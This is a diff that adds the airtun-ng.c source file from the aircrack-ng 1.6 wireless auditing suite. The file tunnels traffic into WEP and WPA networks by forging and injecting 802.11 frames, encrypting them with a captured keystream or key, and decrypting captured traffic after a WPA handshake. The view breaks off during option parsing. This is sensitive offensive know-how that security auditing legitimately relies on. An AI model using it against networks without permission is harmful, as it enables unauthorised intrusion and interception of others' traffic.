
aircrack-ng-1.6.tar.gz/src/airtun-ng Added

aircrack-ng-1.6.tar.gz/src/airtun-ng/airtun-ng.c Added

@@ -0,0 +1,1574 @@
+/*
+ *  802.11 WEP network connection tunneling
+ *  based on aireplay-ng
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2006-2009 Martin Beck <martin.beck2@gmx.de>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#ifdef linux
+#include <linux/rtc.h>
+#endif
+
+#include <sys/types.h>
+#include <sys/socket.h>
+#include <sys/ioctl.h>
+#include <sys/wait.h>
+#include <sys/time.h>
+
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <dirent.h>
+#include <signal.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <errno.h>
+#include <time.h>
+#include <getopt.h>
+
+#include <fcntl.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/version.h"
+#include "aircrack-ng/support/fragments.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/support/communications.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/support/common.h"
+
+#include "aircrack-ng/osdep/osdep.h"
+
+static const char usage[]
+	= "\n"
+	  "  %s - (C) 2006-2020 Thomas d'Otreppe\n"
+	  "  Original work: Martin Beck\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: airtun-ng <options> <replay interface>\n"
+	  "\n"
+	  "      -x nbpps         : number of packets per second (default: 100)\n"
+	  "      -a bssid         : set Access Point MAC address\n"
+	  "                         In WDS Mode this sets the Receiver\n"
+	  "      -i iface         : capture packets from this interface\n"
+	  "      -y file          : read PRGA from this file\n"
+	  "      -w wepkey        : use this WEP-KEY to encrypt packets\n"
+	  "      -p pass          : use this WPA passphrase to decrypt packets\n"
+	  "                         (use with -a and -e)\n"
+	  "      -e essid         : target network SSID (use with -p)\n"
+	  "      -t tods          : send frames to AP (1) or to client (0)\n"
+	  "                         or tunnel them into a WDS/Bridge (2)\n"
+	  "      -r file          : read frames out of pcap file\n"
+	  "      -h MAC           : source MAC address\n"
+	  "\n"
+	  "  WDS/Bridge Mode options:\n"
+	  "      -s transmitter   : set Transmitter MAC address for WDS Mode\n"
+	  "      -b               : bidirectional mode. This enables "
+	  "communication\n"
+	  "                         in Transmitter's AND Receiver's networks.\n"
+	  "                         Works only if you can see both stations.\n"
+	  "\n"
+	  "  Repeater options:\n"
+	  "      --repeat         : activates repeat mode\n"
+	  "      --bssid <mac>    : BSSID to repeat\n"
+	  "      --netmask <mask> : netmask for BSSID filter\n"
+	  "\n"
+	  "      --help           : Displays this usage screen\n"
+	  "\n";
+
+struct communication_options opt;
+static struct local_options
+{
+	int tods;
+	int bidir;
+	char essid[36];
+	char passphrase[65];
+	unsigned char pmk[40];
+	unsigned char wepkey[64];
+	int weplen;
+	int repeat;
+} lopt;
+
+struct devices dev;
+extern struct wif *_wi_in, *_wi_out;
+extern uint8_t h80211[4096];
+extern uint8_t tmpbuf[4096];
+
+struct ARP_req
+{
+	unsigned char * buf;
+	int len;
+};
+
+struct net_entry
+{
+	unsigned char * addr;
+	unsigned char net;
+	struct net_entry * next;
+};
+
+unsigned long nb_pkt_sent;
+static struct net_entry * nets = NULL;
+static struct WPA_ST_info * st_1st = NULL;
+
+pFrag_t rFragment;
+
+static struct net_entry * find_entry(unsigned char * adress)
+{
+	struct net_entry * cur = nets;
+
+	if (cur == NULL) return (NULL);
+
+	do
+	{
+		if (!memcmp(cur->addr, adress, 6))
+		{
+			return (cur);
+		}
+		cur = cur->next;
+	} while (cur != nets);
+
+	return (NULL);
+}
+
+static void set_entry(unsigned char * adress, unsigned char network)
+{
+	struct net_entry * cur;
+
+	if (nets == NULL)
+	{
+		nets = malloc(sizeof(struct net_entry));
+		ALLEGE(nets != NULL);
+		nets->addr = malloc(6 * sizeof(unsigned char));
+		ALLEGE(nets->addr != NULL);
+		nets->next = nets;
+		cur = nets;
+	}
+	else
+	{
+		cur = find_entry(adress);
+		if (cur == NULL)
+		{
+			cur = malloc(sizeof(struct net_entry));
+			ALLEGE(cur != NULL);
+			cur->addr = malloc(6 * sizeof(unsigned char));
+			ALLEGE(cur->addr != NULL);
+			cur->next = nets->next;
+			nets->next = cur;
+		}
+	}
+
+	memcpy(cur->addr, adress, 6);
+	cur->net = network;
+}
+
+static int get_entry(unsigned char * adress)
+{
+	struct net_entry * cur = find_entry(adress);
+
+	if (cur == NULL)
+	{
+		return (-1);
+	}
+	else
+	{
+		return (cur->net);
+	}
+}
+
+static void swap_ra_ta(unsigned char * h80211)
+{
+	REQUIRE(h80211 != NULL);
+
+	unsigned char mbuf[6];
+
+	memcpy(mbuf, h80211 + 4, 6);
+	memcpy(h80211 + 4, h80211 + 10, 6);
+	memcpy(h80211 + 10, mbuf, 6);
+}
+
+static int is_filtered_netmask(unsigned char * bssid)
+{
+	REQUIRE(bssid != NULL);
+
+	unsigned char mac1[6];
+	unsigned char mac2[6];
+	int i;
+
+	for (i = 0; i < 6; i++)
+	{
+		mac1[i] = bssid[i] & opt.f_netmask[i];
+		mac2[i] = opt.f_bssid[i] & opt.f_netmask[i];
+	}
+
+	if (memcmp(mac1, mac2, 6) != 0)
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+#define IEEE80211_LLC_SNAP                                                     \
+	"\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB"         \
+	"\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00"
+
+static int set_IVidx(unsigned char * packet, int data_begin)
+{
+	if (packet == NULL) return (1);
+
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return (1);
+	}
+
+	/* insert IV+index */
+	memcpy(packet + data_begin, opt.prga, 4);
+
+	return (0);
+}
+
+static int
+my_encrypt_data(unsigned char * dest, unsigned char * data, int length)
+{
+	unsigned char cipher[2048];
+	int n;
+
+	if (dest == NULL) return (1);
+	if (data == NULL) return (1);
+	if (length < 1 || length > 2044) return (1);
+
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return (1);
+	}
+
+	if (opt.prgalen - 4 < (size_t) length)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
+			(length + 4));
+		return (1);
+	}
+
+	/* encrypt data */
+	for (n = 0; n < length; n++)
+	{
+		cipher[n] = (data[n] ^ opt.prga[4 + n]) & 0xFF;
+	}
+
+	memcpy(dest, cipher, length);
+
+	return (0);
+}
+
+static int
+my_create_wep_packet(unsigned char * packet, int * length, int data_begin)
+{
+	if (packet == NULL) return (1);
+
+	/* write crc32 value behind data */
+	if (add_crc32(packet + data_begin, *length - data_begin) != 0) return (1);
+
+	/* encrypt data+crc32 and keep a 4byte hole */
+	if (my_encrypt_data(packet + data_begin + 4,
+						packet + data_begin,
+						*length - (data_begin - 4))
+		!= 0)
+		return (1);
+
+	/* write IV+IDX right in front of the encrypted data */
+	if (set_IVidx(packet, data_begin) != 0) return (1);
+
+	/* set WEP bit */
+	packet[1] = packet[1] | 0x40;
+
+	*length += 8;
+	/* now you got yourself a shiny, brand new encrypted wep packet ;) */
+
+	return (0);
+}
+
+static int packet_xmit(unsigned char * packet, int length)
+{
+	REQUIRE(packet != NULL);
+
+	unsigned char K[64];
+	unsigned char buf[4096];
+	struct WPA_ST_info * st_cur;
+	int data_begin = 24;
+	int dest_net;
+
+	if (memcmp(packet, SPANTREE, 6) == 0)
+	{
+		memcpy(h80211, //-V512
+			   IEEE80211_LLC_SNAP,
+			   24); // shorter LLC/SNAP - only copy IEEE80211 HEADER
+		memcpy(h80211 + 24, packet + 14, length - 14);
+		length = length + 24
+				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
+	}
+	else
+	{
+		memcpy(h80211, IEEE80211_LLC_SNAP, 32);
+		memcpy(h80211 + 32, packet + 14, length - 14);
+		memcpy(h80211 + 30, packet + 12, 2);
+		length = length + 32
+				 - 14; // 32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE
+	}
+
+	if (lopt.tods == 1)
+	{
+		h80211[1] |= 0x01;
+		memcpy(h80211 + 4, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 10, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 16, packet, 6); // DST_MAC
+	}
+	else if (lopt.tods == 2)
+	{
+		h80211[1] |= 0x03;
+		length += 6; // additional MAC addr
+		data_begin += 6;
+		memcpy(buf, h80211 + 24, length - 24);
+		memcpy(h80211 + 30, buf, length - 24);
+
+		memcpy(h80211 + 24, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 10, opt.r_trans, 6); // TRANSMITTER
+		memcpy(h80211 + 16, packet, 6); // DST_MAC
+		memcpy(h80211 + 4, opt.r_bssid, 6); // RECEIVER
+	}
+	else
+	{
+		h80211[1] |= 0x02;
+		memcpy(h80211 + 10, opt.r_bssid, 6); // BSSID
+		memcpy(h80211 + 16, packet + 6, 6); // SRC_MAC
+		memcpy(h80211 + 4, packet, 6); // DST_MAC
+	}
+
+	if (opt.crypt == CRYPT_WEP)
+	{
+		K[0] = rand_u8();
+		K[1] = rand_u8();
+		K[2] = rand_u8();
+		K[3] = 0x00;
+
+		/* write crc32 value behind data */
+		if (add_crc32(h80211 + data_begin, length - data_begin) != 0)
+			return (1);
+
+		length += 4; // icv
+		memcpy(buf, h80211 + data_begin, length - data_begin);
+		memcpy(h80211 + data_begin + 4, buf, length - data_begin);
+
+		memcpy(h80211 + data_begin, K, 4); //-V512
+		length += 4; // iv
+
+		memcpy(K + 3, lopt.wepkey, lopt.weplen);
+
+		encrypt_wep(h80211 + data_begin + 4,
+					length - data_begin - 4,
+					K,
+					lopt.weplen + 3);
+
+		h80211[1] = h80211[1] | 0x40;
+	}
+	else if (opt.crypt == CRYPT_WPA)
+	{
+		/* Find station */
+		st_cur = st_1st;
+		while (st_cur != NULL)
+		{
+			// STA -> AP
+			if (lopt.tods == 1 && memcmp(st_cur->stmac, packet + 6, 6) == 0)
+				break;
+
+			// AP -> STA
+			if (lopt.tods == 0 && memcmp(st_cur->stmac, packet, 6) == 0) break;
+
+			st_cur = st_cur->next;
+		}
+		if (st_cur == NULL)
+		{
+			printf("Cannot inject: handshake not captured yet.\n");
+			return (1);
+		}
+
+		// Todo: overflow to higher bits (pn is 6 bytes wide)
+		st_cur->pn[5] += 1;
+
+		h80211[1] = h80211[1] | 0x40; // Set Protected Frame flag
+
+		encrypt_ccmp(h80211, length, st_cur->ptk + 32, st_cur->pn);
+		length += 16;
+		data_begin += 8;
+	}
+	else if (opt.prgalen > 0)
+	{
+		if (my_create_wep_packet(h80211, &length, data_begin) != 0) return (1);
+	}
+
+	if ((lopt.tods == 2) && lopt.bidir)
+	{
+		dest_net = get_entry(packet); // Search the list to determine in which
+		// network part to send the packet.
+		if (dest_net == 0)
+		{
+			send_packet(_wi_out, h80211, (size_t) length, kNoChange);
+		}
+		else if (dest_net == 1)
+		{
+			swap_ra_ta(h80211);
+			send_packet(_wi_out, h80211, (size_t) length, kNoChange);
+		}
+		else
+		{
+			send_packet(_wi_out, h80211, (size_t) length, kNoChange);
+			swap_ra_ta(h80211);
+			send_packet(_wi_out, h80211, (size_t) length, kNoChange);
+		}
+	}
+	else
+	{
+		send_packet(_wi_out, h80211, (size_t) length, kNoChange);
+	}
+
+	return (0);
+}
+
+static int packet_recv(unsigned char * packet, size_t length)
+{
+	REQUIRE(packet != NULL);
+
+	unsigned char K[64];
+	unsigned char bssid[6], smac[6], dmac[6], stmac[6];
+	unsigned char * buffer;
+	unsigned long crc;
+
+	size_t len;
+	size_t z;
+	int fragnum, seqnum, morefrag;
+	int process_packet;
+
+	struct WPA_ST_info * st_cur;
+	struct WPA_ST_info * st_prv;
+
+	z = ((packet[1] & 3) != 3) ? 24 : 30;
+	if ((packet[0] & 0x80) == 0x80) /* QoS */
+		z += 2;
+
+	if (length < z + 8)
+	{
+		return (1);
+	}
+
+	// FromDS/ToDS fields
+	switch (packet[1] & 3)
+	{
+		case 0:
+			memcpy(bssid, packet + 16, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 10, 6);
+			memset(stmac, 0, 6);
+			break;
+		case 1:
+			memcpy(bssid, packet + 4, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 10, 6);
+			memcpy(stmac, packet + 10, 6);
+			break;
+		case 2:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 4, 6);
+			memcpy(smac, packet + 16, 6);
+			memcpy(stmac, packet + 4, 6);
+			break;
+		default:
+			memcpy(bssid, packet + 10, 6);
+			memcpy(dmac, packet + 16, 6);
+			memcpy(smac, packet + 24, 6);
+			memcpy(stmac, packet + 4, 6);
+			break;
+	}
+
+	fragnum = packet[22] & 0x0F;
+	seqnum = (packet[22] >> 4) | (packet[23] << 4);
+	morefrag = packet[1] & 0x04;
+
+	/* Fragment? */
+	if (fragnum > 0 || morefrag)
+	{
+		addFrag(packet, smac, length, opt.crypt, lopt.wepkey, lopt.weplen);
+		buffer = getCompleteFrag(
+			smac, seqnum, &len, opt.crypt, lopt.wepkey, lopt.weplen);
+		timeoutFrag();
+
+		/* we got frag, no compelete packet avail -> do nothing */
+		if (buffer == NULL) return (1);
+
+		//             printf("got all frags!!!\n");
+		memcpy(packet, buffer, len);
+		length = len;
+		free(buffer);
+		buffer = NULL;
+	}
+
+	process_packet = 0;
+
+	// In WDS mode we want to see packets from both sides of the network
+	if ((packet[0] & 0x08) == 0x08)
+	{
+		if (memcmp(bssid, opt.r_bssid, 6) == 0)
+		{
+			process_packet = 1;
+		}
+		else if (lopt.tods == 2 && memcmp(bssid, opt.r_trans, 6) == 0)
+		{
+			process_packet = 1;
+		}
+	}
+
+	if (process_packet)
+	{
+		/* find station */
+
+		st_prv = NULL;
+		st_cur = st_1st;
+
+		while (st_cur != NULL)
+		{
+			if (!memcmp(st_cur->stmac, stmac, 6)) break;
+
+			st_prv = st_cur;
+			st_cur = st_cur->next;
+		}
+
+		/* if it's a new station, add it */
+
+		if (st_cur == NULL)
+		{
+			if (!(st_cur
+				  = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info))))
+			{
+				perror("malloc failed");
+				return (1);
+			}
+
+			memset(st_cur, 0, sizeof(struct WPA_ST_info));
+
+			if (st_1st == NULL)
+				st_1st = st_cur;
+			else
+				st_prv->next = st_cur;
+
+			memcpy(st_cur->stmac, stmac, 6);
+			memcpy(st_cur->bssid, bssid, 6);
+		}
+
+		/* check if we haven't already processed this packet */
+
+		crc = calc_crc_buf(packet + z, length - z);
+
+		if ((packet[1] & 3) == 2)
+		{
+			if (st_cur->t_crc == crc)
+			{
+				return (1);
+			}
+
+			st_cur->t_crc = crc;
+		}
+		else
+		{
+			if (st_cur->f_crc == crc)
+			{
+				return (1);
+			}
+
+			st_cur->f_crc = crc;
+		}
+
+		/* check the SNAP header to see if data is encrypted *
+		 * as unencrypted data begins with AA AA 03 00 00 00 */
+
+		if (packet[z] != packet[z + 1] || packet[z + 2] != 0x03)
+		{
+			/* check the extended IV flag */
+
+			if ((packet[z + 3] & 0x20) == 0)
+			{
+				if (opt.crypt != CRYPT_WEP) return (1);
+
+				memcpy(K, packet + z, 3);
+				memcpy(K + 3, lopt.wepkey, lopt.weplen);
+
+				if (decrypt_wep(
+						packet + z + 4, length - z - 4, K, 3 + lopt.weplen)
+					== 0)
+				{
+					printf("ICV check failed!\n");
+					return (1);
+				}
+
+				/* WEP data packet was successfully decrypted, *
+				 * remove the WEP IV & ICV and write the data  */
+
+				length -= 8;
+
+				/* can overlap */
+				memmove(packet + z, packet + z + 4, length - z);
+
+				packet[1] &= 0xBF;
+			}
+			else
+			{
+				if (opt.crypt != CRYPT_WPA) return (1);
+
+				/* if the PTK is valid, try to decrypt */
+
+				if (!st_cur->valid_ptk) return (1);
+
+				if (st_cur->keyver == 1)
+				{
+					if (decrypt_tkip(packet, length, st_cur->ptk + 32) == 0)
+					{
+						printf("ICV check failed (WPA-TKIP)!\n");
+						return (1);
+					}
+
+					length -= 20;
+				}
+				else
+				{
+					if (memcmp(smac, st_cur->stmac, 6) == 0)
+					{
+						st_cur->pn[0] = packet[z + 7];
+						st_cur->pn[1] = packet[z + 6];
+						st_cur->pn[2] = packet[z + 5];
+						st_cur->pn[3] = packet[z + 4];
+						st_cur->pn[4] = packet[z + 1];
+						st_cur->pn[5] = packet[z + 0];
+					}
+
+					if (decrypt_ccmp(packet, length, st_cur->ptk + 32) == 0)
+					{
+						printf("ICV check failed (WPA-CCMP)!\n");
+						return (1);
+					}
+
+					length -= 16;
+				}
+
+				/* WPA data packet was successfully decrypted, *
+				 * remove the WPA Ext.IV & MIC, write the data */
+
+				/* can overlap */
+				memmove(packet + z, packet + z + 8, length - z);
+
+				packet[1] &= 0xBF;
+			}
+		}
+		else if (opt.crypt == CRYPT_WPA)
+		{
+			/* check ethertype == EAPOL */
+
+			z += 6;
+
+			if (packet[z] != 0x88 || packet[z + 1] != 0x8E)
+			{
+				return (1);
+			}
+
+			z += 2;
+
+			/* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */
+
+			if (packet[z + 1] != 0x03
+				|| (packet[z + 4] != 0xFE && packet[z + 4] != 0x02))
+				return (1);
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+				&& (packet[z + 6] & 0x80) != 0
+				&& (packet[z + 5] & 0x01) == 0)
+			{
+				/* set authenticator nonce */
+
+				memcpy(st_cur->anonce, &packet[z + 17], 32);
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+				&& (packet[z + 6] & 0x80) == 0
+				&& (packet[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+				{
+					/* set supplicant nonce */
+
+					memcpy(st_cur->snonce, &packet[z + 17], 32);
+				}
+
+				/* copy the MIC & eapol frame */
+
+				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+				if (length - z < st_cur->eapol_size
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					return (1);
+				}
+
+				memcpy(st_cur->keymic, &packet[z + 81], 16); //-V512
+				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
+
+				/* copy the key descriptor version */
+
+				st_cur->keyver = packet[z + 6] & 7;
+			}
+
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+			if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
+				&& (packet[z + 6] & 0x80) != 0
+				&& (packet[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+				{
+					/* set authenticator nonce */
+
+					memcpy(st_cur->anonce, &packet[z + 17], 32);
+				}
+
+				/* copy the MIC & eapol frame */
+
+				st_cur->eapol_size = (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+				if (length - z < st_cur->eapol_size
+					|| st_cur->eapol_size > sizeof(st_cur->eapol))
+				{
+					// Ignore the packet trying to crash us.
+					st_cur->eapol_size = 0;
+					return (1); // continue;
+				}
+
+				memcpy(st_cur->keymic, &packet[z + 81], 16); //-V512
+				memcpy(st_cur->eapol, &packet[z], st_cur->eapol_size);
+				memset(st_cur->eapol + 81, 0, 16);
+
+				/* copy the key descriptor version */
+
+				st_cur->keyver = packet[z + 6] & 7;
+			}
+
+			st_cur->valid_ptk = calc_ptk(st_cur, lopt.pmk);
+
+			if (st_cur->valid_ptk)
+			{
+				printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X\n",
+					   st_cur->stmac[0],
+					   st_cur->stmac[1],
+					   st_cur->stmac[2],
+					   st_cur->stmac[3],
+					   st_cur->stmac[4],
+					   st_cur->stmac[5]);
+			}
+		}
+
+		switch (packet[1] & 3)
+		{
+			case 1:
+				memcpy(h80211, packet + 16, 6); //-V525
+				memcpy(h80211 + 6, packet + 10, 6); // SRC_MAC
+				break;
+			case 2:
+				memcpy(h80211, packet + 4, 6); // DST_MAC
+				memcpy(h80211 + 6, packet + 16, 6); // SRC_MAC
+				break;
+			case 3:
+				memcpy(h80211, packet + 16, 6); // DST_MAC
+				memcpy(h80211 + 6, packet + 24, 6); // SRC_MAC
+				break;
+			default:
+				break;
+		}
+
+		/* Keep track of known MACs, so we only have to tunnel into one side of
+		 * the WDS network */
+		if (((packet[1] & 3) == 3) && lopt.bidir)
+		{
+			if (!memcmp(packet + 10, opt.r_bssid, 6))
+			{
+				set_entry(packet + 24, 0);
+			}
+			if (!memcmp(packet + 10, opt.r_trans, 6))
+			{
+				set_entry(packet + 24, 1);
+			}
+		}
+
+		if (memcmp(dmac, SPANTREE, 6) == 0)
+		{
+			if (length <= z + 8) return (1);
+
+			memcpy(h80211 + 14, packet + z, length - z);
+
+			length = length - z + 14;
+
+			h80211[12] = ((length - 14) >> 8) & 0xFF;
+			h80211[13] = (length - 14) & 0xFF;
+		}
+		else
+		{
+			memcpy(h80211 + 12, packet + z + 6, 2); // copy ether type
+
+			if (length <= z + 8) return (1);
+
+			memcpy(h80211 + 14, packet + z + 8, length - z - 8);
+			length = length - z - 8 + 14;
+		}
+
+		ti_write(dev.dv_ti, h80211, length);
+	}
+	else
+	{
+		return (1);
+	}
+
+	return (0);
+}
+
+int main(int argc, char * argv[])
+{
+	int ret_val, i, n, ret;
+	unsigned int un;
+	struct pcap_pkthdr pkh;
+	fd_set read_fds;
+	unsigned char buffer[4096];
+	unsigned char bssid[6];
+	char *s, buf[128];
+	size_t caplen, len;
+
+	ac_crypto_init();
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+
+	rFragment = (pFrag_t) malloc(sizeof(struct Fragment_list));
+	ALLEGE(rFragment != NULL);
+	memset(rFragment, 0, sizeof(struct Fragment_list));
+
+	opt.r_nbpps = 100;
+	lopt.tods = 0;
+
+	rand_init();
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static const struct option long_options[] = {{"netmask", 1, 0, 'm'},
+													 {"bssid", 1, 0, 'd'},
+													 {"repeat", 0, 0, 'f'},
+													 {"help", 0, 0, 'H'},
+													 {0, 0, 0, 0}};
+
+		const int option = getopt_long(argc,
+									   argv,
+									   "x:a:h:i:r:y:t:s:bw:p:e:m:d:fH",
+									   long_options,
+									   &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (EXIT_FAILURE);
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				opt.s_face = optarg;
+				break;
+
+			case 't':
+
+				if (atoi(optarg) == 1)
+					lopt.tods = 1;
+				else if (atoi(optarg) == 2)
+					lopt.tods = 2;
+				else
+					lopt.tods = 0;
+				break;
+
+			case 's':
+
+				if (getmac(optarg, 1, opt.r_trans) != 0)
+				{
+					printf("Invalid Transmitter MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+
+			case 'b':
+
+				lopt.bidir = 1;
+				break;
+
+			case 'w':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (opt.crypt != CRYPT_NONE)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WEP;
+
+				i = 0;
+				s = optarg;
+
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+
+				while (sscanf(buf, "%x", &un) == 1)
+				{
+					if (un > 255)
+					{
+						printf("Invalid WEP key.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (EXIT_FAILURE);
+					}
+
+					lopt.wepkey[i++] = (uint8_t) un;
+
+					if (i >= 64) break;
+
+					s += 2;
+
+					if (s[0] == ':' || s[0] == '-') s++;
+
+					if (s[0] == '\0' || s[1] == '\0') break;
+
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+
+				if (i != 5 && i != 13 && i != 16 && i != 29 && i != 61)
+				{
+					printf("Invalid WEP key length.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				lopt.weplen = i;
+
+				break;
+
+			case 'e':
+
+				if (lopt.essid[0])
+				{
+					printf("ESSID already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(lopt.essid, 0, sizeof(lopt.essid));
+				strncpy(lopt.essid, optarg, sizeof(lopt.essid) - 1);
+				break;
+
+			case 'p':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				if (opt.crypt != CRYPT_NONE && opt.crypt != CRYPT_WPA)
+				{
+					printf("Encryption key already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+
+				opt.crypt = CRYPT_WPA;
+
+				memset(lopt.passphrase, 0, sizeof(lopt.passphrase));
+				strncpy(lopt.passphrase, optarg, sizeof(lopt.passphrase) - 1);
+
+				break;
+
+			case 'm':
+
+				if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: netmask already given\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_netmask) != 0)
+				{
+					printf("Notice: invalid netmask\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+			case 'd':
+				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+				{
+					printf("Notice: bssid already given\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					break;
+				}
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Notice: invalid bssid\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
+				break;
+			case 'f':
+				lopt.repeat = 1;
+				break;
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (EXIT_FAILURE);
+				}
